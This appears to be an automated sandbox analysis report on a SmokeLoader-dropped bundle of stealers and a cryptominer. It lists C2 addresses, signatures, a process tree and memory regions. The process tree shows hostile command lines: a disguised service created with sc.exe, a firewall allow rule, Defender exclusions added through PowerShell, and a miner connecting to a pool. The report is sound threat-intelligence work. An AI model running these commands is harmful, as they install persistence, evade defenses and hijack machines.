Analysis

  • max time kernel
    114s
  • max time network
    184s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    28/08/2021, 21:45

General

  • Target

    01cc9dd22794e7fdd24b37bdd30f4487.exe

  • Size

    148KB

  • MD5

    01cc9dd22794e7fdd24b37bdd30f4487

  • SHA1

    015eb43592868492e032ed6022466060a695e8b0

  • SHA256

    406811bd2d94c52102ecbfc207ce52677a7efe17aeb79573c4f607b28a102e39

  • SHA512

    9ac7332feea4a705fc739f7cad51e6f6b880c5f4c299195c8a3347823f12887106f5e7aee3dcef5d8e8b01d3367372eac27c354d898f55be0810434e9f00cdd4

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

fe582536ec580228180f270f7cb80a867860e010

Attributes
  • url4cnc

    https://telete.in/xylichanjk

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Sergey

C2

51.254.68.139:15009

Extracted

Family

redline

Botnet

superstar75737

C2

95.181.152.190:33007

Extracted

Family

redline

Botnet

WORD1

C2

94.26.249.88:1902

Extracted

Family

redline

Botnet

nn

C2

135.181.49.56:47634

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 17 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty Payload 2 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 7 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01cc9dd22794e7fdd24b37bdd30f4487.exe
    "C:\Users\Admin\AppData\Local\Temp\01cc9dd22794e7fdd24b37bdd30f4487.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Users\Admin\AppData\Local\Temp\01cc9dd22794e7fdd24b37bdd30f4487.exe
      "C:\Users\Admin\AppData\Local\Temp\01cc9dd22794e7fdd24b37bdd30f4487.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2024
  • C:\Users\Admin\AppData\Local\Temp\694E.exe
    C:\Users\Admin\AppData\Local\Temp\694E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:864
  • C:\Users\Admin\AppData\Local\Temp\6D26.exe
    C:\Users\Admin\AppData\Local\Temp\6D26.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Modifies system certificate store
    PID:1636
  • C:\Users\Admin\AppData\Local\Temp\70BF.exe
    C:\Users\Admin\AppData\Local\Temp\70BF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:332
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gxowhlvc\
      2⤵
        PID:1280
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbwicosk.exe" C:\Windows\SysWOW64\gxowhlvc\
        2⤵
          PID:1040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gxowhlvc binPath= "C:\Windows\SysWOW64\gxowhlvc\lbwicosk.exe /d\"C:\Users\Admin\AppData\Local\Temp\70BF.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:940
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gxowhlvc "wifi internet conection"
            2⤵
              PID:1328
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gxowhlvc
              2⤵
                PID:1816
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1788
              • C:\Users\Admin\AppData\Local\Temp\7487.exe
                C:\Users\Admin\AppData\Local\Temp\7487.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1000
                • C:\Users\Admin\AppData\Local\Temp\7487.exe
                  C:\Users\Admin\AppData\Local\Temp\7487.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1540
                • C:\Users\Admin\AppData\Local\Temp\7487.exe
                  C:\Users\Admin\AppData\Local\Temp\7487.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1800
                • C:\Users\Admin\AppData\Local\Temp\7487.exe
                  C:\Users\Admin\AppData\Local\Temp\7487.exe
                  2⤵
                    PID:1684
                  • C:\Users\Admin\AppData\Local\Temp\7487.exe
                    C:\Users\Admin\AppData\Local\Temp\7487.exe
                    2⤵
                      PID:1608
                    • C:\Users\Admin\AppData\Local\Temp\7487.exe
                      C:\Users\Admin\AppData\Local\Temp\7487.exe
                      2⤵
                        PID:828
                      • C:\Users\Admin\AppData\Local\Temp\7487.exe
                        C:\Users\Admin\AppData\Local\Temp\7487.exe
                        2⤵
                          PID:2076
                        • C:\Users\Admin\AppData\Local\Temp\7487.exe
                          C:\Users\Admin\AppData\Local\Temp\7487.exe
                          2⤵
                            PID:2264
                          • C:\Users\Admin\AppData\Local\Temp\7487.exe
                            C:\Users\Admin\AppData\Local\Temp\7487.exe
                            2⤵
                              PID:2580
                            • C:\Users\Admin\AppData\Local\Temp\7487.exe
                              C:\Users\Admin\AppData\Local\Temp\7487.exe
                              2⤵
                                PID:2696
                              • C:\Users\Admin\AppData\Local\Temp\7487.exe
                                C:\Users\Admin\AppData\Local\Temp\7487.exe
                                2⤵
                                  PID:2904
                                • C:\Users\Admin\AppData\Local\Temp\7487.exe
                                  C:\Users\Admin\AppData\Local\Temp\7487.exe
                                  2⤵
                                    PID:3020
                                  • C:\Users\Admin\AppData\Local\Temp\7487.exe
                                    C:\Users\Admin\AppData\Local\Temp\7487.exe
                                    2⤵
                                      PID:2060
                                    • C:\Users\Admin\AppData\Local\Temp\7487.exe
                                      C:\Users\Admin\AppData\Local\Temp\7487.exe
                                      2⤵
                                        PID:2480
                                      • C:\Users\Admin\AppData\Local\Temp\7487.exe
                                        C:\Users\Admin\AppData\Local\Temp\7487.exe
                                        2⤵
                                          PID:2872
                                      • C:\Users\Admin\AppData\Local\Temp\7C26.exe
                                        C:\Users\Admin\AppData\Local\Temp\7C26.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1200
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                          2⤵
                                            PID:1992
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                            2⤵
                                              PID:2180
                                          • C:\Windows\SysWOW64\gxowhlvc\lbwicosk.exe
                                            C:\Windows\SysWOW64\gxowhlvc\lbwicosk.exe /d"C:\Users\Admin\AppData\Local\Temp\70BF.exe"
                                            1⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:564
                                            • C:\Windows\SysWOW64\svchost.exe
                                              svchost.exe
                                              2⤵
                                                PID:1144
                                                • C:\Windows\SysWOW64\svchost.exe
                                                  svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                                  3⤵
                                                    PID:2432
                                              • C:\Users\Admin\AppData\Local\Temp\873E.exe
                                                C:\Users\Admin\AppData\Local\Temp\873E.exe
                                                1⤵
                                                • Executes dropped EXE
                                                • Checks BIOS information in registry
                                                • Checks whether UAC is enabled
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:1104
                                              • C:\Users\Admin\AppData\Local\Temp\914D.exe
                                                C:\Users\Admin\AppData\Local\Temp\914D.exe
                                                1⤵
                                                • Executes dropped EXE
                                                • Checks BIOS information in registry
                                                • Checks whether UAC is enabled
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:652
                                              • C:\Users\Admin\AppData\Local\Temp\9860.exe
                                                C:\Users\Admin\AppData\Local\Temp\9860.exe
                                                1⤵
                                                  PID:612
                                                  • C:\Users\Admin\AppData\Local\Temp\d20cecde-e134-4913-ad9f-b38d81366470\AdvancedRun.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\d20cecde-e134-4913-ad9f-b38d81366470\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d20cecde-e134-4913-ad9f-b38d81366470\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                    2⤵
                                                      PID:740
                                                      • C:\Users\Admin\AppData\Local\Temp\d20cecde-e134-4913-ad9f-b38d81366470\AdvancedRun.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\d20cecde-e134-4913-ad9f-b38d81366470\AdvancedRun.exe" /SpecialRun 4101d8 740
                                                        3⤵
                                                          PID:864
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\9860.exe" -Force
                                                        2⤵
                                                          PID:920
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\9860.exe" -Force
                                                          2⤵
                                                            PID:1240
                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            2⤵
                                                              PID:2304
                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                              2⤵
                                                                PID:2256
                                                            • C:\Users\Admin\AppData\Local\Temp\9CF3.exe
                                                              C:\Users\Admin\AppData\Local\Temp\9CF3.exe
                                                              1⤵
                                                                PID:944
                                                              • C:\Users\Admin\AppData\Local\Temp\C01D.exe
                                                                C:\Users\Admin\AppData\Local\Temp\C01D.exe
                                                                1⤵
                                                                  PID:2120
                                                                  • C:\Users\Admin\AppData\Local\Temp\Fineeest_.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\Fineeest_.exe"
                                                                    2⤵
                                                                      PID:2224
                                                                    • C:\Users\Admin\AppData\Local\Temp\1000 hq.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\1000 hq.exe"
                                                                      2⤵
                                                                        PID:1200
                                                                      • C:\Users\Admin\AppData\Local\Temp\PryntVirus.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\PryntVirus.exe"
                                                                        2⤵
                                                                          PID:1384
                                                                      • C:\Users\Admin\AppData\Local\Temp\D247.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\D247.exe
                                                                        1⤵
                                                                          PID:2544
                                                                        • C:\Users\Admin\AppData\Local\Temp\E349.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\E349.exe
                                                                          1⤵
                                                                            PID:2716
                                                                          • C:\Users\Admin\AppData\Local\Temp\F1DA.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\F1DA.exe
                                                                            1⤵
                                                                              PID:2944
                                                                            • C:\Users\Admin\AppData\Local\Temp\E02.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\E02.exe
                                                                              1⤵
                                                                                PID:2176
                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                1⤵
                                                                                  PID:1728
                                                                                • C:\Windows\explorer.exe
                                                                                  C:\Windows\explorer.exe
                                                                                  1⤵
                                                                                    PID:2652
                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                    1⤵
                                                                                      PID:2732

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v6

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    • memory/332-79-0x0000000000400000-0x0000000001D75000-memory.dmp

                                                                                      Filesize

                                                                                      25.5MB

                                                                                    • memory/332-77-0x0000000000220000-0x0000000000233000-memory.dmp

                                                                                      Filesize

                                                                                      76KB

                                                                                    • memory/564-111-0x0000000000400000-0x0000000001D75000-memory.dmp

                                                                                      Filesize

                                                                                      25.5MB

                                                                                    • memory/612-142-0x0000000000E30000-0x0000000000E31000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/612-149-0x0000000004990000-0x0000000004991000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/612-145-0x0000000000C80000-0x0000000000CF2000-memory.dmp

                                                                                      Filesize

                                                                                      456KB

                                                                                    • memory/652-136-0x0000000001320000-0x0000000001321000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/652-148-0x0000000005390000-0x0000000005391000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/920-214-0x0000000002610000-0x0000000002611000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/920-184-0x0000000004900000-0x0000000004901000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/920-178-0x0000000002310000-0x0000000002311000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/944-159-0x00000000003D0000-0x00000000003EF000-memory.dmp

                                                                                      Filesize

                                                                                      124KB

                                                                                    • memory/944-160-0x00000000036B0000-0x00000000036CE000-memory.dmp

                                                                                      Filesize

                                                                                      120KB

                                                                                    • memory/1000-87-0x00000000043B0000-0x00000000043B1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1000-83-0x0000000000E20000-0x0000000000E21000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1104-138-0x0000000003000000-0x0000000003001000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1104-128-0x0000000000C00000-0x0000000000C01000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1144-112-0x0000000000080000-0x0000000000095000-memory.dmp

                                                                                      Filesize

                                                                                      84KB

                                                                                    • memory/1200-99-0x0000000004B80000-0x0000000004B81000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1200-144-0x0000000004A00000-0x0000000004A31000-memory.dmp

                                                                                      Filesize

                                                                                      196KB

                                                                                    • memory/1200-94-0x0000000000100000-0x0000000000101000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1208-64-0x0000000002B60000-0x0000000002B76000-memory.dmp

                                                                                      Filesize

                                                                                      88KB

                                                                                    • memory/1540-106-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/1540-101-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/1540-110-0x0000000004340000-0x0000000004341000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1636-72-0x0000000000330000-0x00000000003BF000-memory.dmp

                                                                                      Filesize

                                                                                      572KB

                                                                                    • memory/1636-76-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                                                                      Filesize

                                                                                      25.7MB

                                                                                    • memory/1648-63-0x00000000001B0000-0x00000000001BA000-memory.dmp

                                                                                      Filesize

                                                                                      40KB

                                                                                    • memory/2024-62-0x0000000076641000-0x0000000076643000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2024-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                      Filesize

                                                                                      36KB

                                                                                    • memory/2120-182-0x0000000000170000-0x0000000000171000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2180-198-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                      Filesize

                                                                                      128KB

                                                                                    • memory/2180-188-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                      Filesize

                                                                                      128KB

                                                                                    • memory/2304-196-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/2304-212-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/2432-200-0x0000000000080000-0x0000000000171000-memory.dmp

                                                                                      Filesize

                                                                                      964KB

                                                                                    • memory/2716-220-0x0000000001070000-0x0000000001071000-memory.dmp

                                                                                      Filesize

                                                                                      4KB